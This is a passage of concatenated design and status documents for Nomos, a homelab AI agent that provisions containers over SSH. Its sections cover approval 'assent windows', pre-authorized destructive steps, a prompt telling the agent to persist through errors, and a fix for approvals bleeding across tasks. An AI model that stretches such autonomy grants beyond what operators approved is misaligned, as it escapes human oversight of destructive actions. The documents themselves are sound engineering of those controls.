fixed window + summarize-on-trim as a middle ground, but this needs a
decision before implementation, not during.
- **C1's auth mechanism**: reuse `api`'s existing static bearer token
(simplest, matches an existing pattern) or route everything through `api`'s
proxy and stop publishing 8092 at all (removes the surface entirely, but
changes the deploy topology)? Leaning the latter if nothing else on the LAN
legitimately needs to reach nomos directly — worth confirming with the
operator before picking.
- **B2's concurrency bound**: unbounded goroutines-per-tick vs. a small
semaphore? Given the continuation batch is already capped at 5 per tick
(`pendingContinuations(ctx, 5)`), unbounded is probably fine, but worth a
sanity check against real task-completion clustering patterns.

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@@ -1,6 +1,8 @@
# 2026-07-08 — Nomos resident agent (renames Hermes)
**Status:** In Progress — N0-N3 complete 2026-07-08
**Status:** Done — 2026-07-11. N0-N3 (rename, agent loop, sessions/streaming,
UI entry point) all verified in current code. N4 (Matrix bridge, proactive
sessions) was explicitly out of scope and remains unstarted.
## Goal

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@@ -1,6 +1,12 @@
# 2026-07-08 — Plan vs implementation cross-reference
**Status:** Planned
**Status:** Done — 2026-07-11. Every action this audit recommended has a
corresponding follow-up commit (consolidation `7660e56`, client lifecycle
`efa66c7`/`fcd9f23`/`28ab9b8`, comprehensive audit `43aaf2a`,
DB-as-source-of-truth `a3ebd12`, MCP tool surface `7c6cffb`, apps/105 webhook
cleanup `cefeba7`). Its own Prometheus finding (0% done) still matches the
current state — see [2026-07-05-oikos-prometheus-lxc.md](2026-07-05-oikos-prometheus-lxc.md),
still Planned.
## Goal

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@@ -1,6 +1,6 @@
# 2026-07-08 — Signal triggers: host health checks
**Status:** Implemented (Phases 1-5 complete)
**Status:** Done — Phases 1-5 complete
## Goal

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@@ -1,6 +1,10 @@
# 2026-07-09 — Chat sessions: reliability, cost, and session-management fixes
**Status:** Planned
**Status:** Done — 2026-07-11. All 5 findings fixed on `main`
(`49c37fe fix: chat session reliability, cost, and hygiene`): empty/refusal
retry guard in `agent.go`, bulk-tool guidance in `SOUL.md`, tool-result
truncation in `store.go`, `get_state_snapshot` filtering, and session
delete + generated titles.
## Goal

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@@ -0,0 +1,161 @@
# 2026-07-09 — Session execution, UX, and learning improvements
**Status:** Done — 2026-07-11. Hard blocker and all major items verified:
`pct_create` wired into `request_execution`, `ToolCallGroup` collapse +
live status, `InlineApproval` blast radius, `http_get` tool, `session-review`
skill. Two minor secondary items not implemented: `list_lxcs` CPU/mem
enrichment, and a dedicated `get_tools_summary` tool (SOUL.md has general
bulk-tool guidance instead).
## Goal
Fix the hard blocker and UX issues found in the latest production Nomos session
(`b9c5de7c-e0b5-424c-9149-9fd45b2e7011` — "deploy TypeType as an LXC on strong").
The user asked Nomos to deploy an LXC; Nomos gathered data, proposed a plan, but
at the final step ("run all yourself") said it *couldn't*`request_execution`
has no `pct_create` action. The user's objective was not achieved.
## Session analysis
10 messages (5 user / 5 assistant), 150 tool calls, zero LXC created.
| Msg | Role | Tool calls | Top tools | Summary |
|-----|------|-----------|-----------|---------|
| 0 | user | 0 | — | "deploy TypeType on strong as LXC" |
| 1 | assistant | 40 | get_entity(20), search_knowledge(12) | Fleet scan, entity detail per host/LXC |
| 2 | user | 0 | — | "it's github.com/Priveetee/TypeType, use tube.hubris.network" |
| 3 | assistant | 2 | search_knowledge(2) | MCP has no web fetch tool → couldn't read GitHub |
| 4 | user | 0 | — | "I think you can figure out those" |
| 5 | assistant | 60 | search_knowledge(32), request_execution(14) | Built the plan, tried provisioning, failed silently |
| 6 | user | 0 | — | "connect to strong media disk, no youtube login, proceed" |
| 7 | assistant | 44 | search_knowledge(10), get_entity(10), request_execution(8) | Full deployment plan laid out |
| 8 | user | 0 | — | "run all yourself" |
| 9 | assistant | 4 | request_execution(4) | **"I can't run pct create — only pct_exec, systemctl, restart, apt_upgrade"** — failure |
## Findings
### 1. HARD BLOCKER: `pct_create` missing from `request_execution`
`request_execution` (`internal/mcp/server.go:264-376`) supports `restart`,
`systemctl`, `pct_exec`, `apt_upgrade`. The actuator has `ProvisionLXC()`
(`internal/actuator/actuator.go:209`) that calls `pct create` via SSH, but it
is only wired into the auto-act signal pipeline — Nomos has no way to invoke
it through MCP.
Nomos's final response laid out the exact `pct create` command the operator
needs to run manually on the Proxmox host. That's a dead end for the user, who
expected the agent to execute from chat.
**Fix:**
- Add `pct_create` action to `request_execution` handler.
- Wire it to the existing `ProvisionLXC()` function.
- Classification: `config_mutation` — requires operator approval. Once approved
(from the Ops page or Matrix), the actuator picks it up and provisions the
LXC with the step callback reporting progress.
- Alternatively (for the "run from chat" expectation): add a chat-level approval
flow — when Nomos proposes `request_execution` with `pct_create`, the frontend
renders an inline "Approve" button in the chat bubble. Operator clicks → it runs.
This is the UX the user described: "allow the agent to run things directly from
the chat I'm in."
### 2. UI: ToolCallGroup expanded by default during streaming — no status animation
`ToolCallGroup.svelte` uses `<details open>` when `active=true`. During a
streaming turn with 40+ tool calls, the collapsed group fills the viewport
with raw JSON. The summary header shows only a static icon and "N tools" text.
**What happens now:**
- Streaming starts → group opens and stays open → all tool results visible as raw JSON.
- When streaming ends → auto-collapses. No animation.
- Header shows `WrenchIcon` pulsing OR `CheckIcon` OR `XIcon` — but no live
running count, no per-tool status in the collapsed summary bar.
**What should happen:**
- Group starts **collapsed** by default. The summary header shows a live animated
status: "⠋ Running get_lxc_state (caddy)… [2/40 done]" with the active tool
name + a progress fraction, updating in real time.
- When a tool completes, the header briefly reflects it ("✓ get_lxc_state (caddy)")
before moving to the next.
- Clicking the summary expands the group with a smooth animated open/close
(replacing native `<details>` with bits-ui `Collapsible` + CSS transition).
- On load from history (not streaming), always starts collapsed.
**Fix:**
- Replace `<details open>` with bits-ui `Collapsible` component (already in
`web/src/lib/components/ui/collapsible/`).
- Add `animate-pulse` to the chevron icon during streaming (user sees motion).
- Add a `statusText` derived that shows the in-progress tool name + count.
- CSS animation: `Collapsible.Content` supports `forceMount` with transitions.
### 3. No web-fetch tool → Nomos can't read GitHub READMEs
Msg 3: Nomos needed to inspect `github.com/Priveetee/TypeType` to understand the
stack. It used `search_knowledge` (DB FTS), which returned nothing because the
repo isn't in the DB. The agent had no way to fetch external URLs.
The MCP has 27 tools (21 listed in AGENTS.md + 6 more added since), but none
for HTTP/web fetching. Nomos can only query the DB or execute SSH commands on
existing hosts.
This forced the human to provide context that should have been machine-read.
**Fix options (non-blocking):**
- Add an `http_get` MCP tool that returns sanitized body text (strip scripts,
truncate to 8KB). Rate-limited per-turn.
- Or: add `web_fetch` as a first-class action in the MCP gateway itself, since
the gateway container already makes outbound HTTP calls to OpenRouter.
### 4. Task: Bulk-tool awareness already in SOUL.md but not enough
The SOUL.md already says "prefer `list_lxcs` over `get_lxc_state` for fleet-wide"
(line 27-28). But msg 1 still made 40 calls. The issue:
- `get_entity` was called 20 times (one per entity found by `list_entities`).
`list_entities` already returns all entities; the agent wanted per-entity
detail, which is redundant since `explain` or `get_state_snapshot` gives the
same info in one call.
**Fix (already planned in `2026-07-09-chat-sessions-improvements.md` finding 3):**
- Enrich `list_lxcs` with CPU/memory utilization so the model doesn't feel it
needs `get_lxc_state` per container.
- Add `get_tools_summary` to SOUL.md preamble that lists each tool's intended
use and warns about N+1 call patterns.
### 5. Skill gaps
| Missing | Why | Where to add |
|---------|-----|-------------|
| `http_get` / `web_fetch` | Agent can't read external URLs | MCP tool in `internal/mcp/server.go` |
| `session-review` skill | No way to learn from failed sessions | `.agents/skills/session-review/SKILL.md` |
| `pct_create` action | Can't provision new LXCs from chat | `internal/mcp/server.go` + `internal/actuator/` |
| `request_execution` approval from chat | Operator must switch to Ops page | Inline chat approval component |
## Implementation order
1. **Add `pct_create` to `request_execution`** (`internal/mcp/server.go`) —
hard blocker, needed for the session's objective.
2. **ToolCallGroup: collapse by default + animated status header**
(`web/src/lib/components/ToolCallGroup.svelte`) — immediate UX win, the user
explicitly asked for this.
3. **Inline chat approval for `request_execution`** — renders an "Approve"/"Deny"
button inside the chat when an execution is queued for approval. Lets the
operator approve from the same chat.
4. **`session-review` local skill** — lives in `.agents/skills/`, loads when
examining chat sessions for failure patterns.
5. **`http_get` MCP tool** — non-blocking but addresses a real gap seen in this
session.
## Verification
- Re-run the TypeType deploy prompt against the patched agent. Confirm:
- Agent proposes plan as before (keep plan-proposal behavior).
- When user says "run all", agent calls `request_execution(target=lxc:typetype,
action=pct_create, params=<json>)`.
- Approval fires → operator sees inline approval in chat → approves → LXC created.
- ToolCallGroup: start a session that triggers 5+ tool calls. Confirm:
- Group starts collapsed.
- Summary header shows animated status: tool name + count updating in real time.
- Clicking expands smoothly.
- On session reload (history), stays collapsed.
- Load `session-review` skill and ask it to analyze the TypeType failure session;
confirm it identifies the missing action as the root cause.

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# 2026-07-10 — Autonomous plan execution: close the observation gap
**Status:** Done — 2026-07-11. Full scope shipped, including the Option B
stretch goal: atomic `pct_create` decomposition, robust assent-window
open/extend, SOUL persist-through-errors + `maxIterations=40`, and
event-driven auto-continuation (`cmd/nomos/continue.go`). Commits `233b5e4`,
`d2f749d`, `657e1a8`, `d529688`, `84ecb6b`.
## The real problem (not the one we kept fixing)
Operator, verbatim: *"the agent seems to stop when it encounters the first error,
it does not recover from it… my goal is that the agent can do anything once a
plan has been approved."*
We have patched ~10 individual failure modes (DNS, gateway, sshExec timeout,
substring bug, slug collisions, docker CLI, assent window…). Every one was real.
None fixed the thing the operator keeps hitting, because they all fixed
**individual commands** — and the problem is the **loop**, not the commands.
## Root cause: the agent never sees the result of the thing it started
The agent runs in discrete request→response turns. Provisioning executions are
**asynchronous**: `request_execution(pct_create)` queues an execution, fires the
real SSH work in a **goroutine** (`go executeApprovedViaAPI(...)`,
[internal/mcp/server.go](../internal/mcp/server.go)), and returns
*"provisioning now"* immediately. The multi-minute result lands in the DB
**after the agent's turn has already ended.**
So the agent literally is not running when the error happens. It cannot react to
a failure it never observes. The only way the result re-enters the agent's
reasoning is if a human types "continue" to start a new turn — **the human is the
event loop.** Read the failing session
(`7c25edaa`, 18 messages): the operator typed "continue" / "continue?" / "??" /
"proceed" **eight times**, each one just ticking the agent forward one async step.
The agent *was* recovering (it correctly diagnosed the docker-CLI issue and
proposed fixes) — it simply could not proceed one step without a human tick.
Two concrete asymmetries prove the diagnosis:
1. **`run` is synchronous, `pct_create` is async.** Inside an assent window, the
general `run` tool executes the command inline and returns stdout/exit-status
to the agent ([server.go](../internal/mcp/server.go) ~L514) — the agent *sees*
the result and can continue. `pct_create` in the same window auto-approves and
then `go`-routines the work — the agent sees nothing. The failure-prone path
is the unobservable one.
2. **`pct_create` is monolithic and all-or-nothing.** It does create + apt +
docker + post_install + verify in one SSH call. Even if it were synchronous,
the agent could only see "the whole thing failed at some point," not step 3 of
6 — so it can't surgically fix step 3 and resume. Recovery *requires*
intermediate observation.
Secondary (real but downstream): "continue" is **not** an assent word
([cmd/nomos/assent.go](../cmd/nomos/assent.go)), so in that session the assent
window never even opened — every step stayed gated, compounding the ticking.
## The reframe: Nomos should work like a coding agent
A coding agent (Claude Code) runs a command, **sees the output**, runs the next,
fixes errors inline, all in one continuous session — it does not stop and ask a
human to forward it after each command. That is exactly "do anything once the
plan is approved." The homelab agent needs the same loop:
> approve the plan → agent runs step → **observes result** → runs next step / on
> failure diagnoses + adapts + retries → … → verifies goal met → reports.
The machinery for this **already exists** in the `run` tool (synchronous,
observable, auto-executing within an assent window). Provisioning just doesn't
use it — it uses a black box. The fix is to make the whole system consistent
with the model `run` already embodies.
## Target architecture
### 1. One observable primitive; retire the async black box
- Everything the agent does — including provisioning — is a sequence of
**synchronous `run` calls** whose real output (stdout, stderr, exit code)
returns inline. No goroutine hand-off for agent-initiated work.
- **Decompose `pct_create`.** Keep a thin `pct_create` that only does the fast,
atomic container creation (create + start + register), returning synchronously.
Move package install / service setup / post_install / verify **out** into
agent-driven `run` steps. Now the agent observes each step and can fix a
failed one without redoing the container.
- Net: the agent orchestrates `create → apt → install → configure → up → verify`,
seeing each result, exactly like a human operator at a shell.
### 2. Approve the plan = an autonomy grant the agent executes to completion
- The assent/autonomy window already exists. Make it robust:
- Opening it must not depend on a magic word list. "continue", "go", "do it",
"proceed", clicking Approve, or approving the first queued step should all
open/extend it. Safer: when the operator approves ANY step of a plan, treat
that as opening the window for the rest of that plan.
- Within the window: read-only + config_mutation `run` steps execute inline,
no re-prompt. **Destructive still stops** for typed confirmation — but a
destructive step *described in the approved plan* can be pre-authorized so
the agent isn't blocked mid-flow on something already shown and approved.
- The window is the scope boundary: "you may do what the plan needs on this
target; you may not wander outside it."
### 3. The agent persists through errors (prompt + loop)
- SOUL: "You are the executor of the approved plan. Run it step by step,
observing each result. **On failure, do not stop and hand back — diagnose
(read logs / inspect state), form a hypothesis, fix it, and retry or take an
alternative path.** Continue until the goal is verified working or you are
genuinely blocked (you need information only the operator has, or a step
exceeds the approved scope). Never end a turn with a half-finished plan just
because one command failed."
- `maxIterations` sized for a full provision-with-recovery (raise 25 → ~40) and
count observation/read-only steps cheaply so recovery attempts aren't starved.
### 4. Long-running steps: keep the turn alive, or auto-continue
A synchronous `apt install` is ~12 min; a full stack up is longer. Options,
in preference order:
- **A (simplest, ship first):** synchronous `run` with the existing 10-min cap;
the streaming turn stays open (the chat UI already holds the SSE). Emit
progress events so the operator sees liveness (already built — elapsed timer).
- **B (for very long ops):** event-driven auto-continuation — when an async
execution tied to an active plan completes, a worker **re-invokes Nomos**
automatically with the result (the system becomes the event loop, not the
human). More plumbing; do only if A's long turns prove problematic.
## Why this is the root fix, not another patch
Every prior fix made an individual command more likely to succeed. This makes
the agent able to **notice and respond when one doesn't** — which is the only
thing that generalizes to "do anything," because "anything" always includes
"the first thing didn't work." You cannot enumerate every failure mode of an
unbounded action space; you can give the agent a loop that observes and adapts.
## Implementation order
1. **Make provisioning observable**: decompose `pct_create` into a fast atomic
create + agent-orchestrated `run` steps for install/config/verify. (Biggest
single win — removes the async black box from the failure-prone path.)
2. **Robust window open**: any approval / any forward-assent opens/extends it;
pre-authorize plan-described destructive steps.
3. **SOUL persist-through-errors** framing + `maxIterations` bump.
4. Verify end-to-end (below). Only then consider **B** (auto-continuation).
## Verification
- Re-run the exact TypeType deploy. Expected: operator approves the plan **once**;
the agent then creates the container, installs docker (recovering from the
Debian docker.io-CLI gap on its own by falling back to get.docker.com), brings
up the stack, hits a transient error (e.g. Docker Hub 500), **retries on its
own**, verifies `:8082` responds, and reports success — **with zero additional
"continue" ticks from the operator.**
- Failure injection: point a step at a wrong path; confirm the agent reads the
error, adapts, and continues rather than ending the turn.
## Open questions
- **Scope of an autonomy window**: per-plan, per-target, time-boxed (30 min now)?
What exactly may the agent do inside it without asking again?
- **Pre-authorized destructive steps**: allow a plan to include a named
destructive step (e.g. "destroy the half-provisioned CT and redo") that the
agent may execute during recovery without a fresh typed confirmation, since
the plan approval covered it? Or always re-confirm destructive, accepting the
interruption?
- **A vs B**: is a single 510 min streaming turn acceptable, or do we need
event-driven auto-continuation from the start?

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# 2026-07-11 — Concurrent task execution: safety + throughput + frontend correctness
**Status:** Done — 2026-07-11. All three required fixes shipped and deployed:
session-scoped assent/destructive windows (commit `9ef1ba3`), the frontend
stream-corruption guard + per-session controllers (`9131559`, `6a8fb43`), and
the per-session MCP client pool (`a4ea542`). Fix 4 (concurrency/cost cap)
remains explicitly deferred pending real usage data, per this doc's own
recommendation.
## Goal
Multiple tasks already run "at the same time" at the HTTP/goroutine level —
nothing in nomos serializes whole turns. But tracing the actual code (not
assuming) surfaces three real gaps that make concurrent tasks unsafe or
broken today, in decreasing severity: a **cross-task authorization bleed**, a
**throughput bottleneck** that makes concurrency mostly illusory, and a
**frontend state-corruption bug**. This plan fixes all three.
## Findings (grounded)
### 1. CRITICAL — the assent window is scoped to the agent, not the task
[store.go:816](../../cmd/nomos/store.go), [agent.go:129-143](../../cmd/nomos/agent.go):
`openAssentWindow`/`assentWindowActive` key on `"assent_window.agent:" +
a.agentID.String()` — there is exactly one `agent:nomos` entity, so this key
is **global across every task**. It's checked at three MCP call sites
([internal/mcp/server.go:454](../../internal/mcp/server.go), :488, :1363) purely
as "does *the agent* currently have an open window," with no way to know
which task's tool call is asking.
**Concrete failure**: operator approves Task A's plan → 30-minute window
opens → operator starts Task B while that window is still open → Task B's
`run`/`request_execution` config-mutation calls **also auto-execute**,
because the check has no session dimension. The operator never approved
Task B's plan.
[store.go:313-345](../../cmd/nomos/store.go) `destructiveWindowKey`/
`openDestructiveWindow`/`destructiveWindowActive` have the same shape (keyed
`agent:<id>.target:<slug>`, no session) — narrower blast radius (needs a
second task hitting the *same target* within 15 minutes of an explicit typed
confirmation elsewhere) but the same class of bug.
### 2. Tool calls across ALL tasks funnel through one mutex — concurrency is mostly illusory
[main.go:45](../../cmd/nomos/main.go): nomos creates exactly **one**
`*mcpClient` at startup, shared by every `handleChat` goroutine. Its `mu
sync.Mutex` ([main.go:419](../../cmd/nomos/main.go)) is held for the full
duration of each `doRequest` round-trip. `run`'s MCP handler executes the SSH
command *synchronously inside that round-trip* and is capped at up to **10
minutes**. So while Task A is mid-`run`, every other task's tool calls —
even a trivial `get_entity` — queue behind that single mutex until it
returns. Tasks can think (LLM calls) in parallel, but cannot act in parallel;
one slow task stalls all others' progress.
The MCP *server* side has no session-scoped in-memory state to protect —
`newServer(pool, agentID)` returns one shared `*mcp.Server` instance whose
tool handlers close only over `pool` (safe for concurrent use — pgxpool is a
connection pool) and `agentID` ([internal/mcp/server.go:51-74](../../internal/mcp/server.go)).
The mutex exists purely because nomos's *client* reuses one stateful
transport session, not because the server needs it. This is fixable without
touching the server.
### 3. Frontend: the chat store is a global singleton — switching tasks mid-stream corrupts the view
[chat.ts:160-269](../../web/src/lib/stores/chat.ts) `sendMessage`'s SSE callback
mutates `messages`/`currentSession` by reaching for `ms[ms.length - 1]`
i.e. it assumes the array it's mutating still belongs to the task it was
opened for. Nothing in the callback checks that. [chat.ts:111-117](../../web/src/lib/stores/chat.ts)
`loadSessionMessages` (fired when you click a different task in the sidebar
or the board) does not cancel or otherwise account for a still-open stream
from the task you're leaving — it just calls `messages.set(...)` and
`currentSession.set(sessionId)`.
**Concrete failure**: start Task A, while it's still streaming click into
Task B from the Tasks board → `messages`/`currentSession` now reflect Task
B → Task A's still-open SSE stream delivers its next `tool_use`/`text_delta`
→ the callback appends it onto what is now *Task B's* last message, and on
`done` calls `currentSession.set(taskAId)`, flipping the app back to Task A
underneath the operator. This is a real bug independent of anything else in
this plan — it's why "switch away from a running task to start another"
currently looks broken even though the backend handles it fine.
(By contrast, [workspace.ts](../../web/src/lib/stores/workspace.ts)'s live
events are already correctly session-scoped — `applyEvent` checks
`ev.correlation_id !== sid` before doing anything — because that mechanism
was built for this from phase 6. The bug is confined to the older,
per-turn `chat.ts` streaming path.)
### Already fine, no change needed
- **DB access**: `pgxpool.Pool` is a connection pool; concurrent queries from
multiple task goroutines are its normal use case.
- **Auto-continuation worker** ([continue.go](../../cmd/nomos/continue.go)):
already scoped per session (`pendingContinuation.SessionID`) — processes
its poll batch sequentially (5/tick) but never mixes state across
sessions. Sequential processing is a throughput nit, not a correctness bug;
not in scope here.
- **Task board** ([Tasks.svelte](../../web/src/pages/Tasks.svelte)): event-driven
refresh already handles any number of concurrently-changing tasks correctly
— it re-lists, it doesn't hold per-task live state.
## Design
### Fix 1 — session-scope the assent and destructive windows
Thread `sessionID` through to the MCP call sites. nomos already knows the
session id when it calls a tool ([agent.go:363](../../cmd/nomos/agent.go)); the
MCP wire protocol doesn't restrict tool-call args to the declared schema
(`argsMap` just unmarshals whatever JSON object arrives), so nomos can inject
an internal `_session_id` into the args it sends over the wire — invisible to
the model (never in the tool's `InputSchema`, so it never appears in what the
LLM sees or is asked to supply) but readable server-side.
- `agent.go`: build a wire-args copy with `_session_id` added just before
`a.client.callTool(...)` (leave the args used for history/logging
unmodified — the model's own tool-call record shouldn't show an internal
field it never set).
- `internal/mcp/server.go`: `assentWindowActive`/`openAssentWindow`/
`destructiveWindow*` gain a `sessionID` parameter; the key becomes
`assent_window.agent:<id>.session:<sessionID>` (and similarly for the
destructive window). Every call site (`run`, `request_execution`, the
`apt_upgrade`/`pct_create` sub-cases) reads `_session_id` from `argsMap`
and passes it through.
- `agent.go` `openAssentWindow` gains the same `sessionID` param, called from
its two existing call sites ([agent.go:253](../../cmd/nomos/agent.go), :269),
which are already inside `chatWith` and have `sessionID` in scope.
- Fallback: if `_session_id` is missing (defensive — shouldn't happen since
nomos always sets it), treat as "no window" (fail closed, require
approval) rather than falling back to the old agent-wide key.
### Fix 2 — per-session MCP client (remove the throughput bottleneck)
Replace the single global `*mcpClient` with a small **map of clients keyed
by session id**, created lazily on first tool call for that session and
evicted after a period of inactivity (e.g. 10 minutes past the session's last
activity — long enough to outlive a slow `run`, short enough not to leak
connections for abandoned tasks). Guard the map itself with a mutex (cheap —
only held for map lookup/insert, not for the duration of a call); each
individual client keeps its own `mu` scoped to *its own* session's calls,
so Task A's slow `run` only serializes Task A's own tool calls (which are
already inherently sequential within one turn — the agent loop calls tools
one at a time) and never blocks Task B.
- New `mcpClientPool` type in `cmd/nomos`: `get(sessionID) *mcpClient`
(creates+initializes on miss), `sweep()` (evicts idle clients, called on a
ticker alongside the existing continuation-worker ticker).
`"ephemeral"`/`""` session ids (no persisted session) get their own
dedicated client, not pooled per-request, to avoid a connection-per-message
churn for the no-DB-store path.
- `agent` holds the pool instead of one `client`; `handleQuery` (the
structured `/query` endpoint, [main.go:330](../../cmd/nomos/main.go)) picks a
short-lived or dedicated client the same way.
- No server-side change needed (per finding 2's analysis — the server has no
per-connection state to protect).
### Fix 3 — frontend: don't let a background stream corrupt the active view
Minimal, contained fix (not a rearchitecture): capture the session id a
`sendMessage` stream belongs to, and have its callback check that
`currentSession` still matches before mutating `messages`/`streaming`. If the
operator has navigated away, the stream's events are silently dropped from
the UI (the task keeps running server-side regardless — the events are also
flowing on the global stream, and if the operator navigates back,
`loadSessionMessages`'s poll + REST hydration picks up whatever landed while
they were away, same as it already does for auto-continuation).
- `chat.ts` `sendMessage`: capture `const streamSessionID = ...` once the
`'session'` event assigns it; every subsequent branch of the callback
(`tool_use`, `tool_result`, `text_delta`, `text`, `done`, `error`) first
checks `get(currentSession) === streamSessionID` (or the pre-assignment
optimistic session) before touching `messages`.
- `loadSessionMessages`: no change needed once the above guard exists — it
already correctly sets `messages`/`currentSession` for the task being
opened; the guard just stops the *other* task's stream from clobbering it
afterward.
- Out of scope for this pass: a genuine multi-pane "watch two tasks stream
live side by side" UI. Not needed for correctness — the Tasks board already
shows live status for every task via `workspace.ts`'s correctly-scoped
events; only the single-focus Chat transcript view needs this guard.
### Fix 4 (optional) — a concurrency/cost guardrail
Nothing currently stops an operator from starting many tasks in a tight loop,
each spending real LLM API budget in parallel. Consider a simple semaphore in
nomos (`NOMOS_MAX_CONCURRENT_TASKS`, default e.g. 5) that `handleChat` acquires
before starting a turn and releases on completion; over the cap, queue or
reject with a clear "N tasks already running, try again shortly" rather than
letting an unbounded burst hit OpenRouter. This is an operational safeguard,
not a correctness fix — flagged as optional/lower priority.
## Implementation order
1. **Fix 1 (assent/destructive window session-scoping)** — the only one that's
a genuine safety bug (auto-running unapproved actions in another task);
ship first regardless of anything else.
2. **Fix 3 (frontend stream guard)** — small, contained, fixes a visibly
broken UX (switching tasks looks corrupted) independent of Fix 2.
3. **Fix 2 (per-session MCP client pool)** — the throughput fix; more moving
parts (lifecycle/eviction), ship after the safety fix lands and is
verified, since both touch the same call sites (`agent.go` tool dispatch).
4. **Fix 4 (concurrency cap)** — optional, only if real usage shows a need.
## Verification
- **Fix 1**: approve Task A's plan (open its window); concurrently start Task
B and have it attempt a config-mutation `run` command *without* approving
Task B's plan — confirm Task B's action is queued for approval (not
auto-run), while Task A's own subsequent steps keep auto-running.
`SELECT key FROM autonomy_settings WHERE key LIKE 'assent_window%'` should
show session-scoped keys.
- **Fix 2**: start Task A with a `run` step that sleeps ~60s; concurrently
start Task B with a trivial `get_entity` call; confirm Task B's tool result
returns immediately rather than waiting on Task A. Confirm the client map
evicts idle entries (`sweep()` logged, connection count doesn't grow
unbounded across many sequential tasks).
- **Fix 3**: start Task A, before it finishes click into Task B on the
board, confirm Task B's transcript stays correct (no Task-A tool calls
appended) and `currentSession` doesn't flip back to Task A when its stream
eventually completes in the background. Navigate back to Task A afterward
and confirm its full transcript (including what happened while unwatched)
loads correctly via REST.
## Open questions
- **Idle eviction window for Fix 2**: 10 minutes was a guess balancing
"outlive a slow `run`" against "don't leak connections." Worth checking
actual `run` durations in production (`executions.duration_ms`) before
picking a final number.
- **Fix 4's cap and behavior on overflow**: queue vs. reject vs. no cap at
all — depends on real usage patterns once concurrent tasks are actually
safe (Fix 1) and performant (Fix 2). Defer the decision until there's
data.
- **Destructive-window session-scoping**: bundle into Fix 1 (same shape, same
PR) or treat as a follow-up given its narrower blast radius? Leaning bundle
— it's the same three-line change pattern applied to one more function.

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# 2026-07-11 — Tasks: the chat page as goal-structured autonomous work
**Status:** Done — 2026-07-11. All 7 phases shipped and deployed (SHA
`e30813a`): task schema + entity anchor, `entity.touched`/`involves` live
tracking, the `complete_task`/knowledge-retrieval loop, structured
`propose_plan`/`update_plan_step` (with an append-not-replace fix for
mid-flight re-proposals), `ask_operator` pause/resume, the Tasks board, and
the live `TaskContextPanel`. Follow-up hardening tracked separately in
[concurrent-task-execution](../2026-07-11-concurrent-task-execution.md).
Supersedes the sidebar-only framing and the Chat portion of
[control-room-webui](../2026-07-08-control-room-webui.md), which described
chat as a free-form session list.
## The vision (operator, distilled)
> Structure the whole chat page as **tasks**. A task is a card — you see its
> status (running / completed / failed), its description. A task *is* a goal:
> "install the service", "give me the key status of X". The agent takes the
> goal, finds what it needs, **proposes a plan, the operator approves it once —
> that single approval is the only one needed — and the agent then executes the
> whole plan autonomously until the goal is achieved.** Every task has a
> completion status: successful or not, and its **learnings move to knowledge**,
> attached via **relationships** to the entities that were involved, so future
> tasks — successful or unsuccessful — make the agent better over time. Inside a
> task is the conversation (tools, thinking, questions if needed); the sidebar
> shows the live context: which entities the agent is exploring, the steps and
> their status, whether the task succeeded, and the knowledge it recorded — all
> populated in **real time** as the agent works.
Three pillars: **task as the unit**, **one approval → autonomous execution**,
**a knowledge loop that compounds**.
## The reframe
Today a "session" is a title + a flat message list
([migrations/015](../../migrations/015_agent_sessions.up.sql)); a "plan" is prose
the model types; there is no goal, status, outcome, or step object. We elevate
the session into a **task**:
- **A task = a session with a goal, a plan, a lifecycle status, and an
outcome.** One task per chat. The chat page becomes a **task board** of
status cards; opening a card shows the task: conversation in the center, live
context in the sidebar.
- **The plan is approved once.** Machinery already exists — the assent window +
event-driven auto-continuation shipped in
[autonomous-plan-execution](2026-07-10-autonomous-plan-execution.md)
([continue.go](../../cmd/nomos/continue.go), [assent.go](../../cmd/nomos/assent.go))
already turn a single approval into an autonomy grant the agent runs to
completion. This plan gives that flow a **structured surface**: the one thing
the operator approves is a named, stepped plan, and progress is visible.
- **On completion the task deposits knowledge**, linked by relationships to the
entities involved *and to the task itself*, tagged success/failure — and
**future tasks read it back at planning time.** The substrate exists:
`upsert_knowledge` writes a knowledge doc-entity and a `documents`
relationship ([server.go:1519](../../internal/mcp/server.go));
`get_entity_knowledge` reads it ([server.go:170](../../internal/mcp/server.go)).
We add task-linkage, an outcome flavor, and retrieval-at-planning.
## Builds on / aligns with
- [general-gated-execution](../2026-07-10-general-gated-execution.md) — the
classifier + `run` primitive is the execution substrate; a plan step is just
a described unit of work mapping to a `run`/`request_execution` call. **No
fixed step enum.**
- [autonomous-plan-execution](2026-07-10-autonomous-plan-execution.md) —
the single-approval autonomy window + auto-continuation loop.
- The knowledge tools + relationships graph (`upsert_knowledge`,
`get_entity_knowledge`, `get_relations`, the temporal `relationships` table).
## Data model (migration `018_tasks.up.sql`)
Elevate the session into a task; add plan steps, questions, and the
task→knowledge linkage.
```sql
ALTER TABLE agent_sessions
ADD COLUMN goal TEXT NOT NULL DEFAULT '',
ADD COLUMN status TEXT NOT NULL DEFAULT 'active',
-- active | planning | awaiting_approval | executing
-- | awaiting_input | done | failed | abandoned
ADD COLUMN outcome TEXT, -- success | failure | partial (NULL until done)
ADD COLUMN summary TEXT NOT NULL DEFAULT '', -- one-line result, shown on the card
ADD COLUMN entity_id UUID; -- the task's OWN entity (type 'task'), for
-- knowledge/relationship linkage (see below)
CREATE TABLE session_plan_steps (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
session_id UUID NOT NULL REFERENCES agent_sessions(id) ON DELETE CASCADE,
seq INT NOT NULL,
title TEXT NOT NULL,
detail TEXT NOT NULL DEFAULT '',
status TEXT NOT NULL DEFAULT 'pending',
-- pending | running | done | failed | skipped | blocked
execution_id UUID,
target_slug TEXT,
started_at TIMESTAMPTZ,
finished_at TIMESTAMPTZ,
created_at TIMESTAMPTZ NOT NULL DEFAULT now()
);
CREATE INDEX idx_plan_steps_session ON session_plan_steps(session_id, seq);
CREATE TABLE session_questions (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
session_id UUID NOT NULL REFERENCES agent_sessions(id) ON DELETE CASCADE,
prompt TEXT NOT NULL,
context JSONB NOT NULL DEFAULT '{}', -- { entities:[], options:[], why:"" }
status TEXT NOT NULL DEFAULT 'open', -- open | answered | dismissed
answer TEXT,
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
answered_at TIMESTAMPTZ
);
CREATE INDEX idx_questions_session_open
ON session_questions(session_id) WHERE status = 'open';
```
**The task as an entity.** Each task gets a row in `entities` (type `task`,
slug `task:<short-id>`), stored in `agent_sessions.entity_id`. This is what
makes the knowledge loop use the *existing* graph machinery unchanged:
knowledge and involved-entity links hang off the task entity via
`relationships`, exactly like any other entity.
## Task lifecycle
```
created → planning → awaiting_approval → executing ⇄ awaiting_input → done
